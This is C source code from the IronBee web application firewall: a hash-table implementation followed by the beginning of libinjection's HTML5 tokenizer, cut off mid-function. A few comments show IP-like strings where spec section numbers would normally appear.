Declarations */ /** * @defgroup IronBeeHashInternal Hash Internal * @ingroup IronBeeHash * * @{ */ /** * Default size to use for ib_hash_create(). * * Must be a power of 2. **/ #define IB_HASH_INITIAL_SIZE 16 /** * See ib_hash_entry_t() */ typedef struct ib_hash_entry_t ib_hash_entry_t; /** * Entry in a ib_hash_t. **/ struct ib_hash_entry_t { /** Key. */ const char *key; /** Length of @c key. */ size_t key_length; /** Value. */ void *value; /** Hash of @c key. */ uint32_t hash_value; /** Next entry in slot for @c hash. */ ib_hash_entry_t *next_entry; }; /** * External iterator for ib_hash_t. * * The end of the sequence is indicated by @c current_entry being NULL. * Any iterator is invalidated by any mutating operation on the hash. **/ struct ib_hash_iterator_t { /** Hash table we are iterating through. */ const ib_hash_t *hash; /** Current entry. */ ib_hash_entry_t *current_entry; /** Next entry. */ ib_hash_entry_t *next_entry; /** Which slot to look in next. */ size_t slot_index; }; /** * See ib_hash_t() **/ struct ib_hash_t { /** Hash function. */ ib_hash_function_t hash_function; /** Hash function callback data. */ void *hash_cbdata; /** Key equality predicate. */ ib_hash_equal_t equal_predicate; /** Key equality callback data. */ void *equal_cbdata; /** * Slots. * * Each slot holds a (possibly empty) linked list of ib_hash_entry_t's, * all of which have the same hash value. **/ ib_hash_entry_t **slots; /** Maximum slot index. */ size_t max_slot; /** Memory manager. */ ib_mm_t mm; /** Linked list of removed hash entries to use for recycling. */ ib_hash_entry_t *free; /** Number of entries. */ size_t size; /** Randomizer value. */ uint32_t randomizer; }; /** * Search for an entry in @a hash matching @a key. * * @param[in] hash Hash table. * @param[out] hash_entry Hash entry. * @param[in] key Key. * @param[in] key_length Length of @a key. * * @returns * - IB_OK on success. * - IB_ENOENT if @a key not found. */ static ib_status_t ib_hash_find_entry( const ib_hash_t *hash, ib_hash_entry_t **hash_entry, const char *key, size_t key_length ); /** * Search for a hash entry in the list of entries starting at @a first. * * @param[in] hash Hash table. * @param[in] first Beginning of list to search. * @param[in] key Key to search for. * @param[in] key_length Length of @a key. * @param[in] hash_value Hash value of @a key. * * @returns Hash entry if found and NULL otherwise. */ static ib_hash_entry_t *ib_hash_find_htentry( const ib_hash_t *hash, ib_hash_entry_t *first, const char *key, size_t key_length, uint32_t hash_value ); /** * Set @a entry to every entry in @a hash in sequence. * * @code * ib_hash_iterator_t iterator; * IB_HASH_LOOP(iterator, hash) { * ... * } * @endcode * * @param[in,out] iterator Iterator to use. * @param[in] hash Hash table to iterate through. **/ #define IB_HASH_LOOP(iterator, hash) \ for ( \ ib_hash_iterator_first(&(iterator), (hash)); \ ! ib_hash_iterator_at_end(&(iterator)); \ ib_hash_iterator_next(&(iterator)) \ ) /** * Resize the number of slots in @a hash. * * @returns * - IB_OK on success. * - IB_EALLOC on allocation failure. */ static ib_status_t ib_hash_resize_slots( ib_hash_t *hash ); /** * Fast downcase. * * @param[in] c Character to downcase. * @return Downcased version of @a c. */ inline static char ib_hash_tolower( char c ); /* End Internal Declarations */ /* Internal Definitions */ ib_hash_entry_t *ib_hash_find_htentry( const ib_hash_t *hash, ib_hash_entry_t *first, const char *key, size_t key_length, uint32_t hash_value ) { assert(hash != NULL); assert(key != NULL); for ( ib_hash_entry_t* current_entry = first; current_entry != NULL; current_entry = current_entry->next_entry ) { if ( current_entry->hash_value == hash_value && hash->equal_predicate( key, key_length, current_entry->key, current_entry->key_length, hash->equal_cbdata ) ) { return current_entry; } } return NULL; } ib_status_t ib_hash_find_entry( const ib_hash_t *hash, ib_hash_entry_t **hash_entry, const char *key, size_t key_length ) { assert(hash_entry != NULL); assert(hash != NULL); assert(key != NULL); ib_hash_entry_t *current_slot = NULL; ib_hash_entry_t *current_entry = NULL; uint32_t hash_value = 0; if (hash_entry == NULL || hash == NULL) { return IB_EINVAL; } hash_value = hash->hash_function( key, key_length, hash->randomizer, hash->hash_cbdata ); /* hash->max_slot+1 is a power of 2 */ current_slot = hash->slots[hash_value & hash->max_slot]; current_entry = ib_hash_find_htentry( hash, current_slot, key, key_length, hash_value ); if (current_entry == NULL) { *hash_entry = NULL; return IB_ENOENT; } *hash_entry = current_entry; return IB_OK; } ib_hash_iterator_t *ib_hash_iterator_create(ib_mm_t mm) { return (ib_hash_iterator_t *)ib_mm_alloc( mm, sizeof(ib_hash_iterator_t) ); } ib_hash_iterator_t *ib_hash_iterator_create_malloc() { return malloc(sizeof(ib_hash_iterator_t)); } bool ib_hash_iterator_at_end(const ib_hash_iterator_t *iterator) { return iterator->current_entry == NULL; } void ib_hash_iterator_first( ib_hash_iterator_t *iterator, const ib_hash_t *hash ) { assert(iterator != NULL); assert(hash != NULL); memset(iterator, 0, sizeof(*iterator)); iterator->hash = hash; ib_hash_iterator_next(iterator); } void ib_hash_iterator_fetch( const char **key, size_t *key_length, void *value, const ib_hash_iterator_t *iterator ) { assert(iterator != NULL); if (key != NULL) { *key = iterator->current_entry->key; } if (key_length != NULL) { *key_length = iterator->current_entry->key_length; } if (value != NULL) { *(void **)value = iterator->current_entry->value; } } void ib_hash_iterator_next( ib_hash_iterator_t *iterator ) { assert(iterator != NULL); iterator->current_entry = iterator->next_entry; while (! iterator->current_entry) { if (iterator->slot_index > iterator->hash->max_slot) { return; } iterator->current_entry = iterator->hash->slots[iterator->slot_index]; ++iterator->slot_index; } iterator->next_entry = iterator->current_entry->next_entry; } void ib_hash_iterator_copy( ib_hash_iterator_t *to, const ib_hash_iterator_t *from ) { *to = *from; } bool ib_hash_iterator_equal( const ib_hash_iterator_t *a, const ib_hash_iterator_t *b ) { return a->hash == b->hash && a->current_entry == b->current_entry && a->next_entry == b->next_entry && a->slot_index == b->slot_index ; } ib_status_t ib_hash_resize_slots( ib_hash_t *hash ) { assert(hash != NULL); ib_hash_entry_t **new_slots = NULL; size_t new_max_slot = 0; ib_hash_iterator_t i; /* Maintain power of 2 slots */ new_max_slot = 2 * hash->max_slot + 1; new_slots = (ib_hash_entry_t **)ib_mm_calloc( hash->mm, new_max_slot + 1, sizeof(*new_slots) ); if (new_slots == NULL) { return IB_EALLOC; } IB_HASH_LOOP(i, hash) { size_t j = i.current_entry->hash_value & new_max_slot; i.current_entry->next_entry = new_slots[j]; new_slots[j] = i.current_entry; } hash->max_slot = new_max_slot; hash->slots = new_slots; return IB_OK; } inline static char ib_hash_tolower( char c ) { static const char s_table[] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255 }; return s_table[(unsigned char)c]; } /* End Internal Definitions */ uint32_t ib_hashfunc_djb2( const char *key, size_t key_length, uint32_t randomizer, void *cbdata ) { assert(key != NULL); uint32_t hash = randomizer; const char *key_s = (const char *)key; for (size_t i = 0; i < key_length; ++i) { hash = ((hash << 5) + hash) + key_s[i]; } return hash; } uint32_t ib_hashfunc_djb2_nocase( const char *key, size_t key_length, uint32_t randomizer, void *cbdata ) { assert(key != NULL); uint32_t hash = randomizer; const unsigned char *key_s = (const unsigned char *)key; for (size_t i = 0; i < key_length; ++i) { hash = ((hash << 5) + hash) + ib_hash_tolower(key_s[i]); } return hash; } int ib_hashequal_default( const char *a, size_t a_length, const char *b, size_t b_length, void *cbdata ) { assert(a != NULL); assert(b != NULL); return (a_length == b_length) && (memcmp(a, b, a_length) == 0); } int ib_hashequal_nocase( const char *a, size_t a_length, const char *b, size_t b_length, void *cbdata ) { assert(a != NULL); assert(b != NULL); const unsigned char *a_s = (const unsigned char *)a; const unsigned char *b_s = (const unsigned char *)b; if (a_length != b_length) { return 0; } for (size_t i = 0; i < a_length; ++i) { if (ib_hash_tolower(a_s[i]) != ib_hash_tolower(b_s[i])) { return 0; } } return 1; } ib_status_t ib_hash_create_ex( ib_hash_t **hash, ib_mm_t mm, size_t size, ib_hash_function_t hash_function, void *hash_cbdata, ib_hash_equal_t equal_predicate, void *equal_cbdata ) { assert(hash != NULL); assert(size > 0); ib_hash_t *new_hash = NULL; if (hash == NULL) { return IB_EINVAL; } { int num_ones = 0; for ( size_t temp_size = size; temp_size > 0; temp_size = temp_size >> 1 ) { if ( ( temp_size & 1 ) == 1 ) { ++num_ones; } } if (num_ones != 1) { return IB_EINVAL; } } new_hash = (ib_hash_t *)ib_mm_alloc(mm, sizeof(*new_hash)); if (new_hash == NULL) { *hash = NULL; return IB_EALLOC; } ib_hash_entry_t **slots = (ib_hash_entry_t **)ib_mm_calloc( mm, size + 1, sizeof(*slots) ); if (slots == NULL) { *hash = NULL; return IB_EALLOC; } new_hash->hash_function = hash_function; new_hash->hash_cbdata = hash_cbdata; new_hash->equal_predicate = equal_predicate; new_hash->equal_cbdata = equal_cbdata; new_hash->max_slot = size-1; new_hash->slots = slots; new_hash->mm = mm; new_hash->free = NULL; new_hash->size = 0; new_hash->randomizer = (uint32_t)clock(); *hash = new_hash; return IB_OK; } ib_status_t ib_hash_create( ib_hash_t **hash, ib_mm_t mm ) { assert(hash != NULL); return ib_hash_create_ex( hash, mm, IB_HASH_INITIAL_SIZE, ib_hashfunc_djb2, NULL, ib_hashequal_default, NULL ); } ib_status_t ib_hash_create_nocase( ib_hash_t **hash, ib_mm_t mm ) { assert(hash != NULL); return ib_hash_create_ex( hash, mm, IB_HASH_INITIAL_SIZE, ib_hashfunc_djb2_nocase, NULL, ib_hashequal_nocase, NULL ); } ib_mm_t ib_hash_mm( const ib_hash_t *hash ) { assert(hash != NULL); return hash->mm; } size_t ib_hash_size( const ib_hash_t* hash ) { assert(hash != NULL); return hash->size; } ib_status_t ib_hash_get_ex( const ib_hash_t *hash, void *value, const char *key, size_t key_length ) { assert(hash != NULL); ib_status_t rc; ib_hash_entry_t *current_entry = NULL; if (key == NULL) { *(void **)value = NULL; return IB_EINVAL; } rc = ib_hash_find_entry( hash, &current_entry, key, key_length ); if (value != NULL) { if (rc == IB_OK) { assert(current_entry != NULL); *(void **)value = current_entry->value; } else { *(void **)value = NULL; } } return rc; } ib_status_t ib_hash_get( const ib_hash_t *hash, void *value, const char *key ) { assert(hash != NULL); if (key == NULL) { if (value != NULL) { *(void **)value = NULL; } return IB_EINVAL; } return ib_hash_get_ex( hash, value, key, strlen(key) ); } ib_status_t ib_hash_get_all( const ib_hash_t *hash, ib_list_t *list ) { assert(list != NULL); assert(hash != NULL); ib_hash_iterator_t i; IB_HASH_LOOP(i, hash) { ib_list_push(list, i.current_entry->value); } if (ib_list_elements(list) <= 0) { return IB_ENOENT; } return IB_OK; } ib_status_t ib_hash_set_ex( ib_hash_t *hash, const char *key, size_t key_length, void *value ) { assert(hash != NULL); assert(key != NULL); uint32_t hash_value = 0; size_t slot_index = 0; int found = 0; ib_hash_entry_t *current_entry = NULL; /* Points to pointer that points to current_entry */ ib_hash_entry_t **current_entry_handle = NULL; hash_value = hash->hash_function( key, key_length, hash->randomizer, hash->hash_cbdata ); slot_index = (hash_value & hash->max_slot); current_entry_handle = &hash->slots[slot_index]; while (*current_entry_handle != NULL) { current_entry = *current_entry_handle; if ( current_entry->hash_value == hash_value && hash->equal_predicate( current_entry->key, current_entry->key_length, key, key_length, hash->equal_cbdata ) ) { found = 1; break; } current_entry_handle = &(current_entry->next_entry); } /* current_entry is now the entry to change, and current_entry_handler * points to the pointer to it. */ if (found) { assert(current_entry != NULL); assert(current_entry == *current_entry_handle); /* Update. */ current_entry->value = value; /* Delete if appropriate. */ if (value == NULL) { /* Delete */ --hash->size; /* Remove from slot list. */ *current_entry_handle = current_entry->next_entry; /* Add to free list. */ current_entry->next_entry = hash->free; hash->free = current_entry; } } else { /* It's not in the list. Add it if value != NULL. */ if (value != NULL) { ib_hash_entry_t *entry = NULL; if (hash->free != NULL) { entry = hash->free; hash->free = entry->next_entry; } else { entry = (ib_hash_entry_t *)ib_mm_alloc( hash->mm, sizeof(*entry) ); if (entry == NULL) { return IB_EALLOC; } } entry->hash_value = hash_value; entry->key = key; entry->key_length = key_length; entry->value = value; entry->next_entry = hash->slots[slot_index]; hash->slots[slot_index] = entry; ++hash->size; /* If we have more elements that slots, resize. */ if (hash->size > hash->max_slot+1) { return ib_hash_resize_slots(hash); } } /* Else value == NULL and no changes are needed. */ } return IB_OK; } ib_status_t ib_hash_set( ib_hash_t *hash, const char *key, void *value ) { assert(hash != NULL); assert(key != NULL); return ib_hash_set_ex( hash, (void *)key, strlen(key), value ); } void ib_hash_clear(ib_hash_t *hash) { assert(hash != NULL); for (size_t i = 0; i <= hash->max_slot; ++i) { if (hash->slots[i] != NULL) { ib_hash_entry_t *current_entry; for ( current_entry = hash->slots[i]; current_entry->next_entry != NULL; current_entry = current_entry->next_entry ) { current_entry->value = NULL; } current_entry->next_entry = hash->free; hash->free = hash->slots[i]; hash->slots[i] = NULL; } } hash->size = 0; return; } ib_status_t ib_hash_remove_ex( ib_hash_t *hash, void *value, const char *key, size_t key_length ) { assert(hash != NULL); assert(key != NULL); ib_status_t rc = IB_ENOENT; void *local_value = NULL; rc = ib_hash_get_ex(hash, &local_value, key, key_length); if (rc != IB_OK) { return rc; } if ((value != NULL) && (local_value != NULL)) { *(void **)value = local_value; } rc = ib_hash_set_ex(hash, key, key_length, NULL); return rc; } ib_status_t ib_hash_remove( ib_hash_t *hash, void *value, const char *key ) { assert(hash != NULL); assert(key != NULL); return ib_hash_remove_ex(hash, value, (void *)key, strlen(key)); } /** @} IronBeeUtilHash */
crustymonkey/ironbee
libs/libinjection/c/libinjection_html5.c
#include "libinjection_html5.h" #include <string.h> #include <assert.h> #ifdef DEBUG #include <stdio.h> #define TRACE() printf("%s:%d\n", __FUNCTION__, __LINE__) #else #define TRACE() #endif #define CHAR_EOF -1 #define CHAR_BANG 33 #define CHAR_DOUBLE 34 #define CHAR_PERCENT 37 #define CHAR_SINGLE 39 #define CHAR_DASH 45 #define CHAR_SLASH 47 #define CHAR_LT 60 #define CHAR_EQUALS 61 #define CHAR_GT 62 #define CHAR_QUESTION 63 #define CHAR_RIGHTB 93 /* prototypes */ static int h5_skip_white(h5_state_t* hs); static int h5_is_white(char c); static int h5_state_eof(h5_state_t* hs); static int h5_state_data(h5_state_t* hs); static int h5_state_tag_open(h5_state_t* hs); static int h5_state_tag_name(h5_state_t* hs); static int h5_state_tag_name_close(h5_state_t* hs); static int h5_state_end_tag_open(h5_state_t* hs); static int h5_state_self_closing_start_tag(h5_state_t* hs); static int h5_state_attribute_name(h5_state_t* hs); static int h5_state_after_attribute_name(h5_state_t* hs); static int h5_state_before_attribute_name(h5_state_t* hs); static int h5_state_before_attribute_value(h5_state_t* hs); static int h5_state_attribute_value_double_quote(h5_state_t* hs); static int h5_state_attribute_value_single_quote(h5_state_t* hs); static int h5_state_attribute_value_no_quote(h5_state_t* hs); static int h5_state_after_attribute_value_quoted_state(h5_state_t* hs); static int h5_state_comment(h5_state_t* hs); static int h5_state_cdata(h5_state_t* hs); /* 172.16.58.3 */ static int h5_state_bogus_comment(h5_state_t* hs); static int h5_state_bogus_comment2(h5_state_t* hs); /* 192.168.3.11 */ static int h5_state_markup_declaration_open(h5_state_t* hs); /* 8.2.4.52 */ static int h5_state_doctype(h5_state_t* hs); /** * public function */ void libinjection_h5_init(h5_state_t* hs, const char* s, size_t len, int flags) { memset(hs, 0, sizeof(h5_state_t)); hs->s = s; hs->len = len; hs->state = h5_state_data; if (flags == 0) { hs->state = h5_state_data; } else { assert(0); } } /** * public function */ int libinjection_h5_next(h5_state_t* hs) { assert(hs->state != NULL); return (*hs->state)(hs); } /** * Everything below here is private * */ static int h5_is_white(char ch) { return strchr(" \t\n\v\f\r", ch) != NULL; } static int h5_skip_white(h5_state_t* hs) { char ch; while (hs->pos < hs->len) { ch = hs->s[hs->pos]; if (ch == ' ') { hs->pos += 1; } else { return ch; } } return CHAR_EOF; } static int h5_state_eof(h5_state_t* hs) { /* eliminate unused function argument warning */ (void)hs; return 0; } static int h5_state_data(h5_state_t* hs) { const char* idx; TRACE(); assert(hs->len >= hs->pos); idx = (const char*) memchr(hs->s + hs->pos, CHAR_LT, hs->len - hs->pos); if (idx == NULL) { hs->token_start = hs->s + hs->pos; hs->token_len = hs->len - hs->pos; hs->token_type = DATA_TEXT; hs->state = h5_state_eof; if (hs->token_len == 0) { return 0; } } else { hs->token_start = hs->s + hs->pos; hs->token_type = DATA_TEXT; hs->token_len = (size_t)(idx - hs->s) - hs->pos; hs->pos = (size_t)(idx - hs->s) + 1; hs->state = h5_state_tag_open; if (hs->token_len == 0) { return h5_state_tag_open(hs); } } return 1; } /** * 12 2.4.8 */ static int h5_state_tag_open(h5_state_t* hs) { char ch; TRACE(); ch = hs->s[hs->pos]; if (ch == CHAR_BANG) { hs->pos += 1; return h5_state_markup_declaration_open(hs); } else if (ch == CHAR_SLASH) { hs->pos += 1; hs->is_close = 1; return h5_state_end_tag_open(hs); } else if (ch == CHAR_QUESTION) { hs->pos += 1; return h5_state_bogus_comment(hs); } else if (ch == CHAR_PERCENT) { /* this is not in spec.. alternative comment format used by IE <= 9 and Safari < 4.0.3 */ hs->pos += 1; return h5_state_bogus_comment2(hs); } else if ((ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z')) { return h5_state_tag_name(hs); } else { /* user input mistake in configuring state */ if (hs->pos == 0) { return h5_state_data(hs); } hs->token_start = hs->s + hs->pos - 1; hs->token_len = 1; hs->token_type = DATA_TEXT; hs->state = h5_state_data; return 1; } } /** * 192.168.127.12 */ static int h5_state_end_tag_open(h5_state_t* hs) { char ch; TRACE(); if (hs->pos >= hs->len) { return 0; } ch = hs->s[hs->pos]; if (ch == CHAR_GT) { return h5_state_data(hs); } else if ((ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z')) { return h5_state_tag_name(hs); } return h5_state_data(hs); } /* * */ static int h5_state_tag_name_close(h5_state_t* hs) { TRACE(); hs->is_close = 0; hs->token_start = hs->s + hs->pos; hs->token_len = 1; hs->token_type = TAG_NAME_CLOSE; hs->pos += 1; if (hs->pos < hs->len) { hs->state = h5_state_data; } else { hs->state = h5_state_eof; } return 1; } /** * 192.168.3.11 */ static int h5_state_tag_name(h5_state_t* hs) { char ch; size_t pos; TRACE(); pos = hs->pos; while (pos < hs->len) { ch = hs->s[pos]; if (h5_is_white(ch)) { hs->token_start = hs->s + hs->pos; hs->token_len = pos - hs->pos; hs->token_type = TAG_NAME_OPEN; hs->pos = pos + 1; hs->state = h5_state_before_attribute_name; return 1; } else if (ch == CHAR_SLASH) { hs->token_start = hs->s + hs->pos; hs->token_len = pos - hs->pos; hs->token_type = TAG_NAME_OPEN; hs->pos = pos + 1; hs->state = h5_state_self_closing_start_tag; return 1; } else if (ch == CHAR_GT) { hs->token_start = hs->s + hs->pos; hs->token_len = pos - hs->pos; if (hs->is_close) { hs->pos = pos + 1; hs->is_close = 0; hs->token_type = TAG_CLOSE; hs->state = h5_state_data; } else { hs->pos = pos; hs->token_type = TAG_NAME_OPEN; hs->state = h5_state_tag_name_close; } return 1; } else { pos += 1; } } hs->token_start = hs->s + hs->pos; hs->token_len = hs->len - hs->pos; hs->token_type = TAG_NAME_OPEN; hs->state = h5_state_eof; return 1; } /** * 12.2.4.34 */ static int h5_state_before_attribute_name(h5_state_t* hs) { int ch; TRACE(); ch = h5_skip_white(hs); switch (ch) { case CHAR_EOF: { return 0; } case CHAR_SLASH: { hs->pos += 1; return h5_state_self_closing_start_tag(hs); } case CHAR_GT: { hs->state = h5_state_data; hs->token_start = hs->s + hs->pos; hs->token_len = 1; hs->token_type = TAG_NAME_CLOSE; hs->pos += 1; return 1; } default: { return h5_state_attribute_name(hs); } } } static int h5_state_attribute_name(h5_state_t* hs) { char ch; size_t pos; TRACE(); pos = hs->pos; while (pos < hs->len) { ch = hs->s[pos]; if (h5_is_white(ch)) { hs->token_start = hs->s + hs->pos; hs->token_len = pos - hs->pos; hs->token_type = ATTR_NAME; hs->state = h5_state_after_attribute_name; hs->pos = pos + 1; return 1; } else if (ch == CHAR_SLASH) { hs->token_start = hs->s + hs->pos; hs->token_len = pos - hs->pos; hs->token_type = ATTR_NAME; hs->state = h5_state_self_closing_start_tag; hs->pos = pos + 1; return 1; } else if (ch == CHAR_EQUALS) { hs->token_start = hs->s + hs->pos; hs->token_len = pos - hs->pos; hs->token_type = ATTR_NAME; hs->state = h5_state_before_attribute_value; hs->pos = pos + 1; return 1; } else if (ch == CHAR_GT) { hs->token_start = hs->s + hs->pos; hs->token_len = pos - hs->pos; hs->token_type = ATTR_NAME; hs->state = h5_state_tag_name_close; hs->pos = pos; return 1; } else { pos += 1; } } /* EOF */ hs->token_start = hs->s + hs->pos; hs->token_len = hs->len - hs->pos; hs->token_type = ATTR_NAME; hs->state = h5_state_eof; hs->pos = hs->len; return 1; } /** * 12.2.4.36 */ static int h5_state_after_attribute_name(h5_state_t* hs) { int c; size_t pos; TRACE(); pos = hs->pos; c = h5_skip_white(hs); switch (c) { case CHAR_EOF: { return 0; } case CHAR_SLASH: { hs->pos = pos + 1; return h5_state_self_closing_start_tag(hs); } case CHAR_EQUALS: { hs->pos = pos + 1; return h5_state_before_attribute_value(hs); } case CHAR_GT: { return h5_state_tag_name_close(hs); } default: { return h5_state_attribute_name(hs); } } } /** * 12.2.4.37 */ static int h5_state_before_attribute_value(h5_state_t* hs) { int c; TRACE(); c = h5_skip_white(hs); if (c == CHAR_EOF) { hs->state = h5_state_eof; return 0; } if (c == CHAR_DOUBLE) { return h5_state_attribute_value_double_quote(hs); } else if (c == CHAR_SINGLE) { return h5_state_attribute_value_single_quote(hs); } else { return h5_state_attribute_value_no_quote(hs); } } static int h5_state_attribute_value_quote(h5_state_t* hs, char qchar) { const char* idx; TRACE(); /* skip quote */ hs->pos += 1; idx = (const char*) memchr(hs->s + hs->pos, qchar, hs->len - hs->pos); if (idx == NULL) { hs->token_start = hs->s + hs->pos; hs->token_len = hs->len - hs->pos; hs->token_type = ATTR_VALUE; hs->state = h5_state_eof; } else { hs->token_start = hs->s + hs->pos; hs->token_len = (size_t)(idx - hs->s) - hs->pos; hs->token_type = ATTR_VALUE; hs->state = h5_state_after_attribute_value_quoted_state; hs->pos += hs->token_len + 1; } return 1; } static int h5_state_attribute_value_double_quote(h5_state_t* hs) { TRACE(); return h5_state_attribute_value_quote(hs, CHAR_DOUBLE); } static int h5_state_attribute_value_single_quote(h5_state_t* hs) { TRACE(); return h5_state_attribute_value_quote(hs, CHAR_SINGLE); } static int h5_state_attribute_value_no_quote(h5_state_t* hs) { char ch; size_t pos; TRACE(); pos = hs->pos; while (pos < hs->len) { ch = hs->s[pos]; if (h5_is_white(ch)) { hs->token_type = ATTR_VALUE; hs->token_start = hs->s + hs->pos; hs->token_len = pos - hs->pos; hs->pos = pos + 1; hs->state = h5_state_before_attribute_name; return 1; } else if (ch == CHAR_GT) { hs->token_type = ATTR_VALUE; hs->token_start = hs->s + hs->pos; hs->token_len = pos - hs->pos; hs->pos = pos; hs->state = h5_state_tag_name_close; return 1; } pos += 1; } TRACE(); /* EOF */ hs->state = h5_state_eof; hs->token_start = hs->s + hs->pos; hs->token_len = hs->len - hs->pos; hs->token_type = ATTR_VALUE; return 1; } /** * 192.168.3.11 */ static int h5_state_after_attribute_value_quoted_state(h5_state_t* hs) { char ch; TRACE(); if (hs->pos >= hs->len) { return 0; } ch = hs->s[hs->pos]; if (h5_is_white(ch)) { hs->pos += 1; return h5_state_before_attribute_name(hs); } else if (ch == CHAR_SLASH) { hs->pos += 1; return h5_state_self_closing_start_tag(hs); } else if (ch == CHAR_GT) { hs->token_start = hs->s + hs->pos; hs->token_len = 1; hs->token_type = TAG_NAME_CLOSE; hs->pos += 1; hs->state = h5_state_data; return 1; } else { return h5_state_before_attribute_name(hs); } } /** * 192.168.127.12 */ static int h5_state_self_closing_start_tag(h5_state_t* hs) { char ch; TRACE(); if (hs->pos >= hs->len) { return 0; } ch = hs->s[hs->pos]; if (ch == CHAR_GT) { assert(hs->pos > 0); hs->token_start = hs->s + hs->pos -1; hs->token_len = 2; hs->token_type = TAG_NAME_SELFCLOSE; hs->state = h5_state_data; hs->pos += 1; return 1; } else { return h5_state_before_attribute_name(hs); } } /** * 172.16.58.3 */ static int h5_state_bogus_comment(h5_state_t* hs) { const char* idx; TRACE(); idx = (const char*) memchr(hs->s + hs->pos, CHAR_GT, hs->len - hs->pos); if (idx == NULL) { hs->token_start = hs->s + hs->pos; hs->token_len = hs->len - hs->pos; hs->pos = hs->len; hs->state = h5_state_eof; } else { hs->token_start = hs->s + hs->pos; hs->token_len = (size_t)(idx - hs->s) - hs->pos; hs->pos = (size_t)(idx - hs->s) + 1; hs->state = h5_state_data; } hs->token_type = TAG_COMMENT; return 1; } /** * 172.16.58.3 ALT */ static int h5_state_bogus_comment2(h5_state_t* hs) { const char* idx; size_t pos; TRACE(); pos = hs->pos; while (1) { idx = (const char*) memchr(hs->s + pos, CHAR_PERCENT, hs->len - pos); if (idx == NULL || (idx + 1 >= hs->s + hs->len)) { hs->token_start = hs->s + hs->pos; hs->token_len = hs->len - hs->pos; hs->pos = hs->len; hs->token_type = TAG_COMMENT; hs->state = h5_state_eof; return 1; } if (*(idx +1) != CHAR_GT) { pos = (size_t)(idx - hs->s) + 1; continue; } /* ends in %> */ hs->token_start = hs->s + hs->pos; hs->token_len = (size_t)(idx - hs->s) - hs->pos; hs->pos = (size_t)(idx - hs->s) + 2; hs->state = h5_state_data; hs->token_type = TAG_COMMENT; return 1; } } /** * 8.2.4.45 */ static int h5_state_markup_declaration_open(h5_state_t* hs) { size_t remaining; TRACE(); remaining = hs->len - hs->pos; if (remaining >= 7 && /* case insensitive */ (hs->s[hs->pos + 0] == 'D' || hs->s[hs->pos + 0] == 'd') && (hs->s[hs->pos + 1] == 'O' || hs->s[hs->pos + 1] == 'o') && (hs->s[hs->pos + 2] == 'C' || hs->s[hs->pos + 2] == 'c') && (hs->s[hs->pos + 3] == 'T' || hs->s[hs->pos + 3] == 't') && (hs->s[hs->pos + 4] == 'Y' || hs->s[hs->pos + 4] == 'y') && (hs->s[hs->pos + 5] == 'P' || hs->s[hs->pos + 5] == 'p') && (hs->s[hs->pos + 6] == 'E' || hs->s[hs->pos + 6] == 'e') ) { return h5_state_doctype(hs); } else if (remaining >= 7 && /* upper case required */ hs->s[hs->pos + 0] == '[' && hs->s[hs->pos + 1] == 'C' && hs->s[hs->pos + 2] == 'D' && hs->s[hs->pos + 3] == 'A' && hs->s[hs->pos + 4] == 'T' && hs->s[hs->pos + 5] == 'A' && hs->s[hs->pos + 6] == '[' ) { hs->pos += 7; return h5_state_cdata(hs); } else if (remaining >= 2 && hs->s[hs->pos + 0] == '-' && hs->s[hs->pos + 1] == '-') { hs->pos += 2; return h5_state_comment(hs); } return h5_state_bogus_comment(hs); } /** * 172.16.31.10 * 172.16.58.3 * 192.168.127.12 * 172.16.17.32 * state machine spec is confusing since it can only look * at one character at a time but simply it's comments end by: * 1) EOF * 2) ending in --> * 3) ending in -!> */ static int h5_state_comment(h5_state_t* hs) { char ch; const char* idx; size_t pos; TRACE(); pos = hs->pos; while (1) { idx = (const char*) memchr(hs->s + pos, CHAR_DASH, hs->len - pos); /* did not find anything or has less than 3 chars left */ if (idx == NULL || idx > hs->s + hs->len - 3) { hs->state = h5_state_eof; hs->token_start = hs->s + hs->pos; hs->token_len = hs->len - hs->pos; hs->token_type = TAG_COMMENT; return 1; } ch = *(idx + 1); if (ch != CHAR_DASH && ch != CHAR_BANG) { pos = (size_t)(idx - hs->s) + 1; continue; } ch = *(idx + 2); if (ch != CHAR_GT) { pos = (size_t)(idx - hs->s) + 1; continue; } /* ends in --> or -!> */ hs->token_start = hs->s + hs->pos; hs->token_len = (size_t)(idx - hs->s) - hs->pos; hs->pos = (size_t)(idx - hs->s) + 3; hs->state = h5_state_data; hs->token_type = TAG_COMMENT; return 1; } } static int h5_state_cdata(h5_state_t* hs) { const char* idx; size_t pos; TRACE(); pos = hs->pos; while (1) { idx = (const char*) memchr(hs->s + pos, CHAR_RIGHTB, hs->len - pos); /* did not find anything or has less than 3 chars left */ if (idx == NULL || idx > hs->s + hs->len - 3) { hs->state = h5_state_eof; hs->token_start = hs->s + hs->pos; hs->token_len = hs->len - hs->pos; hs->token_type = DATA_TEXT; return 1; } else if ( *(idx+1) == CHAR_RIGHTB && *(idx+2) == CHAR_GT) { hs->state = h5_state_data; hs->token_start = hs->s + hs->pos; hs->token_len = (size_t)(idx - hs->s) - hs->pos; hs->pos = 